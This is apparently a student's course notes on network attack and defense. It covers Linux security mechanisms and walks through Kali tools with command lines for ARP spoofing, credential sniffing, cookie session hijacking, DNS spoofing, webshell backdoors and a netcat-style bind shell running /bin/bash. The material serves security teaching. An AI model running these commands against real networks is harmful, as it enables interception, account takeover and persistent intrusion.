2018-2019-2 20189212 《网络攻防技术》第八周作业
《網絡攻防技術》第八章
8.1 Linux操作系統基本框架概述
- Linux操作系統在服務器、安全敏感部門以及移動終端市場上占據重要地位,也極大地影響著Windows、Nac OS等其他操作系統的發展。
- Linux的優勢
- 開放源代碼與免費
- 跨平臺的硬件支持
- 豐富的軟件支持
- 多用戶多任務
- 可靠的安全性
- 良好的穩定性
- 完善的網絡功能
- Linux系統結構
- Linux進程與線程管理機制
- Linux內存管理機制
- Linux文件系統管理機制
- Linux設備控制機制
- Linux網絡機制
- Linux系統調用機制
8.2 Linux操作系統安全機制
linux操作系統的核心安全機制主要是身份認證、授權與訪問控制、安全審計三個部分。
- Linux身份認證
- Linux用戶(root根用戶、普通用戶、系統用戶)
- Linux用戶組(具有相同特征的用戶賬號集合)
- Linux本地登錄用戶認證機制(控制臺)
- Linux遠程登錄用戶認證機制(ssh服務)
- Linux的統一身份認證中間件——PAM(可插入身份認證模塊)
- Linux授權與訪問控制
- 文件所有者(chown命令)
- 文件的訪問權限(讀、寫、執行,chmod命令)
- 文件的特殊執行權限
- Linux訪問控制機制的不足與改進
- Linux安全審計
主要通過下列三個主要的日志子系統來實現。- 連接時間日志
- 進程統計日志
- 錯誤日志記錄
8.3 Linux系統遠程攻防技術
- Linux遠程口令字猜測攻擊:針對ssh、telnet、ftp、http等服務的口令猜測攻擊是互聯網所面臨的攻陷系統最普遍的攻擊模式。
+ 自動化遠程口令猜測工具(brutus、thc hydra、cain and abel) p286
+ 最佳防御措施:使用不宜猜中的強口令字
- Linux網絡服務遠程滲透攻擊:最重要的攻擊渠道是對監聽網絡服務安全漏洞的滲透利用。
渠道:
- Linux網絡服務的遠程滲透攻擊
- Linux內核中的網絡協議棧實現
- LAMP Web網站構建解決方案中的網絡服務
- FTP、Samba等文件共享服務
- 電子郵件收發服務
- 其他網絡服務
安全防范措施:
- 禁用所有不必要的網絡服務
- 盡量選擇更安全的網絡協議與服務軟件,并使用最佳安全實踐進行部署
- 及時更新網絡服務版本
- 使用xinetd、防火墻為Linux網絡服務添加網絡訪問控制機制
- 建立入侵檢測與應急響應計劃流程
- 攻擊Linux客戶端程序和用戶的安全防范措施:
- 及時更新常用的網絡客戶端軟件
- 自身安全意識、經驗與心智能力
- 攻擊Linux路由器和監聽器
- 攻擊Linux路由器與防火墻
- 攻擊監聽器&入侵檢測器(libpcap抓包庫、tcpdump命令行程序、wireshark網絡監聽與協議分析軟件、snort入侵檢測系統)
8.4 Linux系統本地安全攻防技術
- Linux本地特權提升
- Linux用戶口令字破解
- 利用sudo的缺陷進行特權提升
- 利用用戶態SUID程序漏洞進行特權提升
- 針對SUID程序的本地緩沖區溢出攻擊
- 針對SUID程序的符號鏈接攻擊
- 針對SUID程序的競爭條件攻擊
- 針對SUID程序的共享函數庫攻擊
- 利用內核空間代碼漏洞進行特權提升
- 利用系統配置不當實施本地特權提升
- Linux系統上的消蹤滅跡
清理系統上的日志記錄,從而有效地抹掉自己的行動蹤跡。 - Linux系統遠程控制后門程序
Linux系統上植入遠程控制后門程序的類型有:特洛伊木馬化的系統程序、命令行后門工具以及圖形化后門工具。
課后習題P321
使用Metasploitatble滲透軟件對Linux Metasploitable靶機實施網絡攻擊
- 使用nmap掃描靶機
- msf搜索可利用漏洞
- msf選擇并設置,且靶機開啟tcpdump
- 發起攻擊與查看攻擊及攻擊方式
Kali視頻學習(31-35)
31.KaliSecruity-漏洞利用之SET
SET是一個開源、Python驅動的社會工程學滲透測試工具,提供了非常豐富的攻擊向量庫。是開源的社會工程學利用的套件,通常結合metasploit來使用。輸入setoolkit命令,打開SET套件:
菜單選項1是社會工程學攻擊,輸入1回車,可以看到相應模塊:
分別為:
1)魚叉式釣魚攻擊(Spear-Phishing Attack Vectors)
2)網站攻擊(Website Attack Vectors)
3)介質感染攻擊(Infectious Media Generator)
4)創建Payload并監聽(Create a Payload and Listener)
5)群發郵件攻擊(Mass Mailer Attack)
6)基于Arduino的攻擊(Arduino-Based Attack Vector)
7)無線接入點攻擊(Wireless Access Point Attack Vector)
8)二維碼攻擊(QRCode Generator Attack Vector)
9)powershell攻擊(Powershell Attack Vectors)
10)短信欺騙攻擊(SMS Spoofing Attack Vector)
11)第三方模塊(Third Party Modules)
一、魚叉式釣魚攻擊
魚叉式釣魚攻擊主要目的為發送存在惡意軟件的釣魚郵件:
相應的Payload可以選擇不同的漏洞:
二、網站攻擊
此時可以開放一個WEBSever服務,如果對方訪問此頁面,若系統存在漏洞觸發條件,則會被植入后門。
如Java Applet Attack方法就是需要目標有Java運行環境,為了仿真,可以選擇自建模板或克隆一個網站。
三、介質感染攻擊
借助Autorun.inf執行Exploit得到一個返回的shell,也可以結合Metasploit的后門。
四、創建Payload并監聽
創建一個返回的Payload并開啟監聽,可以看到以下后門,與Metasploit給出的后門類似。
五、群發郵件攻擊
支持導入列表并向列表中的每個人發送郵件。
六、基于Arduino的攻擊
七、無線接入點攻擊
無線接入點攻擊會創建一個虛擬無線AP,通過接入點ap可以抓取所有連接進來的設備流量。
八、二維碼攻擊
填入一個危險的URL,使得被攻擊者掃描二維碼自動訪問頁面而中招。
九、powershell攻擊
十、短信欺騙攻擊
短信模塊遇到問題現在不可用:
十一、第三方模塊
32.KaliSecruity-嗅探欺騙與中間人攻擊
- 為Kali設置開啟端口轉發
echo 1 > /proc/sys/net/ipv4/ip_forward - 設置ssltrip。執行命令iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8081,將所有的80請求轉發到了8081上。
ettercap是一套用于中間人攻擊的工具。和dsniff套件齊名。支持插件和過濾腳本,直接將賬號、密碼顯示出來,不用人工提取數據。如果是第一次中間人攻擊操作,那么要對kali下的etteracp做點配置。找到路徑為 /etc/ettercap的etter.conf文件,打開文件,將其中的etc_uid和etc_gid均改為0,并將下面Linux分類下的if you use iptables這一行,將注釋去掉,保存退出即可打開:
- 輸入ettercap -G,打開ettercap圖形化界面。點擊Sniff->Unified sniffing,選擇嗅探網卡,默認為eth0。
- 在hosts下選擇先scan for hosts掃描內網信息,發現有3臺主機被加入主機列表。
- 掃描完畢后選host list查看主機列表。
將它們添加為目標,網關添加為Target1,被攻擊的目標添加為Target2。然后在mitm選項卡選擇arp poisoning—> Arp poisoning —> Sniff remote connections。
- 目標主機上使用命令arp -a查看ARP地址表。
選擇 Start —> Start sniffing 開始監聽,這時目標主機的所有流量都是通過攻擊者的主機出去的。當處于同一個局域網的受害者訪問網頁進行登陸時,密碼就可以被記錄下來。
Dsniff套裝介紹
Dsniff套裝主要是arpspoof和dsniff,前者用來進行arp欺騙,后者用于嗅探。進行攻擊步驟如下:
進行arp欺騙:
arpspoof [-i interface(網卡)] [-c own|host|both(欺騙方式,通常是both)] [-t target(目標)] [-r] host(網關)
進行嗅探:
dsniff [-cdmn] [-i interface | -p pcapfile] [-s snaplen] [-f services] [-t trigger[,...]] [-r|-w savefile] [expression]
-c打開半雙工TCP流,允許在使用arpspoof時進行正確的嗅探操作;
-d啟動調試模式;
-f以/etc/service格式從文件中加載觸發器(也就是口令嗅探的服務類型);
-I使用特定的網絡接口;
-m使用dsniff.magic文件通過在magic文件中定義的特征嘗試自動判斷協議;
-n不執行主機查找;
-r從前面保存的會話中讀取被嗅探的數據;
-s最多對報文的前個字節進行嗅探,如果用戶名和口令信息包含在隨后的默認1024字節界限中;
-t使用格式port/proto=servise;來加載一個以逗號界定的觸發器集;
會話劫持
這里主要以cookies進行舉例,說明會話劫持的用法。
開始arp欺騙;
arpspoof -i wlan0 -t 192.168.1.1 192.168.1.102
捕獲數據報:
tcpdump -i wlan -w test.cap
等一段時間,估計目標會登錄網站了,我們開始處理捕獲的數據包:
forret -r test.cap
如果捕獲的數據包沒什么問題,而且確定開啟了端口轉發,那么經過處理的數據包會自動生成hamster.txt
接下來運行hamster hamster
會提示瀏覽器設置代理為http://127.0.0.1:1234
接著在瀏覽器中代開hamster:
http://hamster
選擇目標和可能的登錄認證地址,然后點擊鏈接會發現劫持成功。
圖片截獲
利用Driftnet這款工具我們可以看到受害人在訪問網站的圖片。
首先依然使用arpspoof啟動arp欺騙,然后啟動driftnet:
driftent -i
此時彈出一個小窗口,當目標訪問有圖片的網站的時候,攻擊者就能在這個小窗口看到。
DNS欺騙
利用Dsniff套裝中的dnsspoof或者ettercap的dnsspoof插件,我們可以完成對受害者的dns欺騙。
在開始欺騙前,首先我們要編輯一個自己的hosts文件,放在方便訪問的地方。內容和本機自帶的hosts內容差不多,只是把你想欺騙的域名和想要欺騙到哪里的地址寫好(通常是攻擊者指定的服務器,用來執行瀏覽器溢出或者java applet攻擊,用來獲取受害者的計算機訪問權限)
host文件:
127.0.0.1 www.baidu.com
上面是一個hosts文件示例,把百度定向到了本機。我們把它保存成hosts,位于/root目錄下。
然后啟動dnsspoof:
dnsspoof -i wlan0 -f /root/hosts
等受害者訪問百度觀察效果。
URL監控
利用Dsniff套裝中的urlsnarf工具,我們對TCP80、3128、8080端口的HTTP通信進行解析,并且可以將嗅探到的所有HTTP請求轉存為通用日志格式(Common Log Format,CLF),這種格式是許多Web服務器所使用的,例如IIS和Apache,事后可以很方便的使用一些日志分析工具來分析記錄結果。
Usage:urlsnarf [-n] [-i interface | -p pcapfile] [[-v] pattern [expression]]
下載軟件監控
利用Dsniff套裝中的filesnarf工具,我們可以從嗅探到的NFS通信中,選定某個文件,轉存到本地當前工作目錄。
Ussage:filesnarf [-i interface | -p pcapfile] [[-v] pattern [expression]]
33.KaliSecruity-權限維持之后門
權限維持包含Tunnel工具集、Web后門、系統后門三個子類。其中系統后門與web后門統稱后門,都是為滲透測試后,為方便再次進入系統而留下的惡意程序。
- Weevely。Weevely是一款使用python編寫的webshell工具,可以算作是linux下的一款菜刀替代工具(限于php)。
- 生成后門
- 上傳后門,使用weevely連接。
- 生成后門
- WeBaCoo。WeBaCoo(Web Backdoor Cookie)script-kit是一個小巧的、隱蔽的php后門,它提供了一個可以連接遠程web服務器并執行php代碼的終端。WeBaCoo使用HTTP響應頭傳送命令結果,shell命令經base64編碼后隱藏在Cookie頭中。
- 生成后門:webacoo -g -o ./ly2.php
- 連接后門:webacoo -t -u http://xxx.xxx.xxx.xxx/2.php。通過加入“:”執行本地命令,不加則借助webshell執行命令。
- 生成后門:webacoo -g -o ./ly2.php
- dbd,加密版的nc。
- 監聽端:dbd -l -p 2333 -e /bin/bash -k password
- 連接端:dbd 127.0.0.1 2333 -k password
- sbd,與dbd使用方法類似。
- U3-Pwn。與Metasploit Payload結合使用工具,從菜單可以單刀多針對移動設備如光驅鏡像、U盤等。
- Intersect
- 輸入2列出可以使用的模塊。
- 輸入1創建后門腳本,自由添加功能組件,生成shell。添加creds、network、bshell、portscan
- 創建后門,綁定端口
- 連接:nc nvv 127.0.0.1 5555
- 輸入2列出可以使用的模塊。
34.KaliSecruity-權限維持之Tunnel
權限維持包含Tunnel工具集、Web后門、系統后門三個子類。Tunnel工具集包含了一系列用于創建通信隧道、代理的工具。
- Cryptcat
Cryptcat是Netcat的加密版本,與Dbd、Sbd使用類似。Cryptcat支持TCP、UDP兩種網絡協議,它可以在兩個計算機之間建立指定的連接,并使用特定的密鑰對傳輸數據進行加密。為了提高加密,該工具允許用戶在每次連接使用自定義的密鑰,從而保證數據的安全性。 - DNS2TCP
該技術一般為透明http代理,如果你沒有賬號就無法上網。但提供熱點的ISP對熱點的DNS查詢服務并不作限制,你會發現獲取到的dns地址是有效的,并且可以進行dns查詢,這時可以使用DNS tunnel技術來實現免費上網。DNS tunnel 即 DNS 通道,就是利用DNS查詢過程建立起隧道以傳輸數據。 - Miredo
Miredo是一個網絡工具,主要用于BSD和Linux的IPV6 Teredo隧道鏈接,可以轉換不支持IPV6的網絡連接IPV6,內核中需要有IPV6和TUN隧道支持。 - Proxychains
Proxychains 是內網滲透測試經常會用到一款代理工具,能夠強制使任何應用的TCP連接使用SOCKS4,SOCKS或者HTTP(S)代理進行連接,配置文件位于/etc/proxychains.conf - Proxytunnel
Proxytunnel可通過標準的HTTPS代理來連接遠程服務器,這是一個代理,實現了橋接的功能。特別用于通過SSH進行HTTP(S)傳輸。 - ptunnel
借助icmp數據包建立隧道通信。 - pwnat
內網下通過udp通信。 - socat
可以在不同協議上進行轉發數據。 - sslh
是一個ssl/ssh端口復用工具,sslh可以在同一個端口上接受https,ssh和openvpn連接,這使得通過443端口連接ssh服務器或者openvpn服務同時在該端口上提供https服務成為可能,sslh可以作為一個研究端口復用的例子。
35.KaliSecruity-逆向工程工具
逆向工程是根據已有的東西和結果,通過分析來推導出具體的實現辦法。比如看到別人寫的某個exe程序能夠做出某種漂亮的動畫效果,你通過反匯編、反編譯和動態跟蹤等方法,分析出其動畫效果的實現過程,這種行為就是逆向工程:不僅僅是反編譯,而且還要推導出設計,并且文檔化,逆向軟件工程的目的是使軟件得以維護。
- Edb-Debugger
EDB是一個基于Qt4開發的二進制調試工具,主要是為了跟OllyDbg工具看齊,通過插件體系可以進行功能的擴充,當前只支持Linux。可以將文件直接拖進來,或使用頂部的下拉菜單的File菜單,然后選擇open,將可執行文件加載到Edb-Debugger中進行調試。 - Ollydbgs
經典的Ring3級調試器,是一個動態調試工具,將IDA與SoftICE結合起來的思想。在Kali下是Wine方式運行的Ollydbg。 - jad,Java反編譯工具。
- Radare2,是一款開放源代碼的逆向工程平臺,它可以反匯編、調試、分析和操作二進制文件。
- Recstudio,反編譯工具。
- APKTool。GOOGLE提供的APK編譯工具,能夠反編譯及回編譯apk,同時安裝反編譯系統apk所需要的framework-res框架,清理上次反編譯文件夾等功能。
- Clang、Clang++
- Clang是一個C語言、C++、Objective-C、Objective-C++語言的輕量級編譯器,類似于gcc編譯器;
- Clang++是clang的另一個升級版本,使用方法其實都是一樣的,類似于gc++編譯器。
- D2j-des2jar。反匯編dex文件到jar文件,進而可以使用其他工具查看源代碼。
- Flasm。主要用于直接修改swf文件里的腳本actionscript。swf轉fla文件的軟件不能確保100%還原,如果只是修改as腳本代碼,flasm是最佳的選擇,因為他只修改腳本,資源數據不做修改。
- Javasnoop。一個java應用程序安全測試工具,允許以攔截的方法,篡改數據和hack運行在你計算機上的java應用程序。通常在沒有源代碼的情況下,測試java客戶端的安全性最好的結果是不可預知的,最壞的結果是不切實際的。
新建任務
八《python 黑帽子》
第八章碼云鏈接
轉載于:https://www.cnblogs.com/heyzero/p/10747375.html
總結
以上是生活随笔為你收集整理的2018-2019-2 20189212 《网络攻防技术》第八周作业的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: iphone 操作手势种类
- 下一篇: GSM鉴权